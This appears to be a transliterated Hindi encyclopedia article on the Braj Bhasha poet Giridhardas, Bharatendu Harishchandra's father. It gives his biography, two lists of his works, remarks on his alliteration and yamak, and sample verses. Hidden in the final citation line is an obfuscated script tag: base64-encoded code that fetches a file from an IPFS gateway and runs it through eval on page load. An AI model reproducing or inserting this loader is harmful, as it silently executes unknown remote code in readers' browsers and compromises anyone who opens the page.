गिरिधरदास

giridharadas bharateandu baboo harishchandr ke pita the aur brajabhasha ke bahut hi praudh kavi the. inaka nam to 'baboo gopalachandr' tha par kavita mean apana upanam ye 'giridharadas', 'giradhar', 'giridharan' rakhate the. bharateandu ne inake sanbandh mean likha hai ki -

jin shri giridharadas kavi rache granth chalis.

parichay

giridharadas ka janm paush krishna 15, sanvath 1890 ko hua. inake pita 'kale harshachand', jo kashi ke ek b de pratishthit rees the, inhean gyarah varsh ki avastha mean hi chho dakar paralok sidhar gaye the. inhoanne apane nij ke parishram se sanskrit aur hindi mean b di sthir yogyata prapt ki aur pustakoan ka ek bahut b da anamol sangrah kiya. pustakalay ka nam inhoanne 'sarasvati bhavan' rakha jisaka mooly svargiy d aau. rajeandr lal mitr ek lakh rupaya tak dilavate the. inake yahaan us samay ke vidvanoan aur kaviyoan ki mandali barabar jami rahati thi aur inaka samay adhikatar kavyacharcha mean hi jata tha. inaka paralokavas sanvath 1917 mean hua.

rachanaean

bharateandu ji ne inake likhe 40 granthoan ka ullekh kiya hai jinamean bahutoan ka pata nahian. bharateandu ke dauhitr, hindi ke utkrisht lekhak 'shriyuth baboo brajaratnadas ji' haian jinhoanne apani dekhi huee in atharah pustakoan ke nam is prakar die haian -

1. jarasandhavadh mahakavy,
2. bharatibhooshan,
3. bhasha vyakaran,
4. rasaratnakar,
5. grishm varnan,
6. matsyakathamrit,
7. varahakathamrit,
8. nrisianhakathamrit,
9. vamanakathamrit,
10. parashuramakathamrit,
11. ramakathamrit,
12. balaram kathamrit,
13. krishnacharit,
14. buddh kathamrit,
15. kalkikathamrit,
16. nahush natak,
17. gargasanhita,
18. ekadashi mahatmy.

• inake atirikt bharateanduji ke ek not ke adhar par baboo radhakrishnadas ne inaki 21 aur pustakoan ka ullekh kiya hai -

1. valmiki ramayan,
2. chhandarnav,
3. niti,
4. adbhut ramayan,
5. lakshminakhashikh,
6. varta sanskrit,
7. kakaradi sahasranam,
8. gayayatra,
9. gayashtak,
10. dvadashadalakamal,
11. kirtan,
12. sankarshanashtak,
13. danujaristrot,
14. gopalastrot,
15. bhagavatastrot,
16. shivastrot,
17. shri ramastrot,
18. shri radhastrot,
19. ramashtak,
20. kaliyakalashtak.

kavyakaushal

inhoanne do dhang ki rachanaean ki haian. gargasanhita adi bhaktimarg ki kathaean to saral aur sadharan padyoan mean kahi haian, par kavyakaushal ki drishti se jo rachanaean ki haian jaise - jarasandh vadh, bharatibhooshan, rasaratnakar, grishmavarnan , ye yamak aur anupras adi se itani ladi huee haian ki bahut sthaloan par durooh ho gee haian. sabase adhik inhoanne yamak aur anupras ka chamatkar dikhaya hai. anupras aur yamak ka aisa vidhan jaisa jarasandhavadh mean hai aur kahian nahian milega. jarasandhavadh apoorn hai, keval 11 sargoan tak likha gaya hai, par apane dhang ka anootha hai. jo kavitaean dekhi gee haian unase yahi dharana hoti hai ki inaka jhukav chamatkar ki or adhik tha. rasatmakata inaki rachanaoan mean vaisi nahian paee jati. atthais varsh ki hi ayu pakar itani adhik pustakean likh dalana pady rachana ka adbhut abhyas soochit karata hai. inaki rachana ke kuchh namoone niche die jate haian.

jarasandh vadh se

chalyo darad jehi pharad rachyo bidhi mitr darad har.
sarad saroruh badan jachakan barad marad bar॥
lasat sianh sam durad narad disi durad arad kar.
nirakhi hot ari sarad, harad, sam jarad kaanti dhar॥
kar karad karat beparad jab garad milat bapu gaj ko.
ran jua narad vit nrip lasyo karad magadh maharaj ko॥

sabake sab keshav ke sabake hit ke gaj sohate sobha apar haian.
jab sailan sailan sailan hi phiraian sailan sailahi sis prahar haian॥
'giridharan' dharan soan pad kanj lai dharan lai basu dharan pharahaian.
ari baran baran baran pai sur varan varan varan var haian॥

bharati bhooshan se

asangati , siandhu janit gar har piyo, mare asur samuday.
nain ban nainan lagyo, bhayo kareje ghay॥

rasaratnakar se

jahi bibahi diyo pitu matu nai pavak sakhi sabai jan jani.
sahab se 'giridharan joo' bhagavan saman kahai muni jnani॥
too jo kahai vah dachchhin hai to hamaian kaha bam haian, bam ajani.
bhagan soan pati aiso milai sabahin ko dachchhin jo sukhadani॥

grishmavarnan se

jagah j daoo jame j de haian javahirat,
jagamag joti jaki jag mean jamati hai.
jame jadujani jan pyari jataroop aisi,
jagamukh jval aisi jonh si jagati hai.
'giridharadas' jor jabar javani ko hai,
johi johi jalaja hoo jiv mean jakati hai.
jagat ke jivan ke jiy ko churae joy,
joe joshita ko jeth jarani jarati hai.

tika tippani aur sandarbh

achary, ramachandr shukl “prakaran 3”, hindi sahity ka itihas (hindi). bharatadiskavari pustakalay: kamal prakashan, nee dilli, prishth san. 271-73.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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